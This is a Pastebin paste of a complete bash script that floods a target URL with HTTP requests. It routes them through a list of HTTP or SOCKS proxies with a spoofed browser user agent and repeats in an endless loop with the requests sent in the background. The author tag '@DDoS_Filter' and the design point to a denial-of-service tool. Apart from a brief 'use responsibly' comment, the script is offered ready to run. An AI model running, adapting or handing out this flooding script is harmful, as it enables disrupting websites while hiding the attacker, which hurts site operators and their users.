Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # USE THIS TOOL RESPONSIBLY AT YOUR OWN RISK!
- # Go to https://www.freeproxychecker.com/ for free proxies!
- # http_proxy_request_sender.sh v2.0
- # Coded by DSTAT @DDoS_Filter
- # Proxy list format: ip:port
- # Proxy list must be in unix LF new line format, (\n)
- # Script must be saved in unix LF new line format, (\n)
- # Script must be executable, command: chmod +x http_proxy_request_sender.sh
- # Curl must be installed!
- # Ubuntu: apt install curl
- # CentOS: yum install curl
- if [ "$#" -ne 5 ]; then
- echo
- echo $0 "by @DDoS_Filter (DSTAT)"
- echo "Usage"
- echo $0 [http://example.com/] [Sleep] [Timeout] [/proxy/list.txt] [Protocol]
- echo Protocols: http, socks4, socks5
- echo ctrl + c to stop script.
- echo
- else
- if [ "$5" = "http" ]; then
- proto="-x"
- elif [ "$5" = "socks4" ]; then
- proto="--socks4"
- elif [ "$5" = "socks5" ]; then
- proto="--socks5"
- else
- echo Invalid Protocol.
- echo Protocols:
- echo http, socks4, socks5
- exit
- fi
- if [ ! -f $4 ]; then
- echo Proxy list not found!
- exit
- fi
- echo Sending Requests!
- while true; do
- ((j++))
- while read -r line || [[ -n "$line" ]]; do
- curl -s -o /dev/null -m $3 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" $proto $line $1 & > /dev/null;
- sleep $2;
- done < "$4"
- echo Finished List $j Times
- done
- fi
RAW Paste Data